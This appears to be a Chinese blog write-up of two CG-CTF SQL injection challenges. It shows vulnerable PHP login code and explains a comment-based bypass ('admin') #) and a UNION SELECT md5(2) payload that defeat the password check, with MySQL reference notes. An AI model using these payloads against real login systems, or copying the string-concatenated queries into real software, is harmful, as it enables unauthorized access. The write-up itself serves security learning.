zoukankan      html  css  js  c++  java
  • CG-CTF SQL注入

    SQL注入1

    题目

    访问题目网址

    先查看一下源码

    仔细分析一下核心源码

    <?php
    if($_POST[user] && $_POST[pass]) {      //判断user和pass两个变量不为空
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);        //连接数据库
      mysql_select_db(SAE_MYSQL_DB);    //选择要使用的库
      $user = trim($_POST[user]);       //去除输入的user变量两侧的空白字符
      $pass = md5(trim($_POST[pass]));  //去除pass变量两侧空白字符再进行md5加密
      $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";    //根据输入的user和pass构造查询语句
        echo '</br>'.$sql;  //回显查找语句
      $query = mysql_fetch_array(mysql_query($sql));    //使用构造的查询语句查询数据库并返回结果集
      if($query[user]=="admin") {
          echo "<p>Logged in! flag:******************** </p>";
      }
      if($query[user] != "admin") {
        echo("<p>You are not admin!</p>");
      }         //判断结果集中的user参数对应的值是不是admin,如果是返回flag,不是则返回 You are not admin!
    }
    echo $query[user];      //回显查询到的user值
    ?>
    

    通过分析源码知道了user的值为admin,因为sql查询语句里有and,必须and前后同时成立才可以查询,但是现在不知道pass对应的值,所以考虑能不能不判断pass,直接判断user,于是想到是不是可以将user判断语句闭合并注释后面的内容,这样就不会对pass进行判断,pass就直接输入111,于是构造下面的语句。

    这样的话查询语句就变成了

    select user from ctf where (user='admin') #') and (pw='111')
    

    尝试提交看看会不会返回flag。

    成功拿到flag


    补充:Mysql的注释语句有三种

    1./* */
    注释一段内容,这里明显不适用。

    2.--
    注释-- 后的语句直到行尾,注意这里的--后面要有一个空格,但是题目中使用了trim()函数去除空格,所以也不适用。

    3.#
    注释#后的语句直到行尾。

    SQL注入2

    题目

    访问题目网址

    还是先查看一下源码

    分析核心源码

    <?php
    if($_POST[user] && $_POST[pass]) {
       mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = $_POST[user];
      $pass = md5($_POST[pass]);
      $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
      if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      }
      else {
        echo("<p>Log in failure!</p>");
      }
    }
    ?>
    

    找到最关键的语句

    if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      }
      else {
        echo("<p>Log in failure!</p>");
      }
    

    解题思路:

    1.可以看到这里只对密码进行了对比,没有进行user的对比,所以应该考虑怎么使得$query[pw]存在且strcasecmp($pass, $query[pw]))为假。

    2.$query[pw]是MySQL查询结果集中的值,只要MySQL语句返回值即可存在。
    要使strcasecmp($pass, $query[pw])为假,就要使得$pass的值小于等于$query[pw](比较ASCII码)。$pass是我们输入值的md5值,$query[pw]是数据库中的正确密码。因为$pass是md5值,32位,而$query[pw]不知道,所以看看能不能将$query[pw]的值构造成我们需要的32位,且大于$pass的值,根据题目的提示,考察union联合查询,尝试构造如下语句:

    select pw from ctf where user=''union select md5(2)#'
    

    这个语句的输出因为闭合了user,user为空,查不到任何值,而后面select md5(2),则会返回2的md5值,所以返回的结果会变成下面这样:

    +----------------------------------+
    | pw                               |
    +----------------------------------+
    | c81e728d9d4c2f636f067f89cc14862c |
    +----------------------------------+
    

    这样从$query[pw]查询到的值就会变成2的md5值,这时我密码输入2,这样经过strcasecmp()函数的对比会返回0,达到目的。


    成功拿到flag


    补充:
    1.strcasecmp(str1,str2)函数

    strcasecmp(str1,str2)函数返回的结果是比较两个字符串的ASCII码,从第一位开始,相等就比较下一位,如果比较过程中,一旦出现str1的某一个字符的ASCII码和str2的不等,那么将返回这两个字符的ASCII码值之差。

    2.union联合查询
    当使用union联合查询时,前一个select查询的列名将会作为输出结果的列名,后一个select只会返回查询列的内容,而没有列名。

    union前后查询列名一致

    mysql> select * from t2;
    +----+-------+
    | id | score |
    +----+-------+
    |  1 |    33 |
    +----+-------+
    1 row in set (0.00 sec)
    
    mysql> select * from t5;
    +-----------+---------+------+
    | user      | pw      | id   |
    +-----------+---------+------+
    | admin     | 000000  | NULL |
    | admin2    | 1000000 | NULL |
    | gubeiqing | gu      |   10 |
    +-----------+---------+------+
    3 rows in set (0.00 sec)
    
    mysql> select id from t2 union select id from t5;
    +------+
    | id   |
    +------+
    |    1 |
    | NULL |
    |   10 |
    +------+
    3 rows in set (0.00 sec)
    

    union前后查询列名不一致

    mysql> select * from t2;
    +----+-------+
    | id | score |
    +----+-------+
    |  1 |    33 |
    +----+-------+
    1 row in set (0.00 sec)
    
    mysql> select * from t5;
    +-----------+---------+------+
    | user      | pw      | id   |
    +-----------+---------+------+
    | admin     | 000000  | NULL |
    | admin2    | 1000000 | NULL |
    | gubeiqing | gu      |   10 |
    +-----------+---------+------+
    3 rows in set (0.00 sec)
    
    mysql> select id from t2 union select pw from t5;
    +---------+
    | id      |
    +---------+
    | 1       |
    | 000000  |
    | 1000000 |
    | gu      |
    +---------+
    4 rows in set (0.00 sec)
    
    
  • 相关阅读:
    lock,Monitor,Mutex的区别
    byte[]数组和int之间的转换
    接口测试总结
    python接口自动化测试(七)unittest 生成测试报告
    python 接口自动化测试(六)使用unittest 批量用例管理
    python 接口自动化测试(五)其他-认证&代理&超时配置
    python 接口自动化测试(四)cookie&session
    接口自动化测试 (三)request.post
    python 接口自动化测试二(request.get)
    python接口自动化测试(c测试环境的准备)
  • 原文地址:https://www.cnblogs.com/Timesi/p/11249845.html
Copyright © 2011-2022 走看看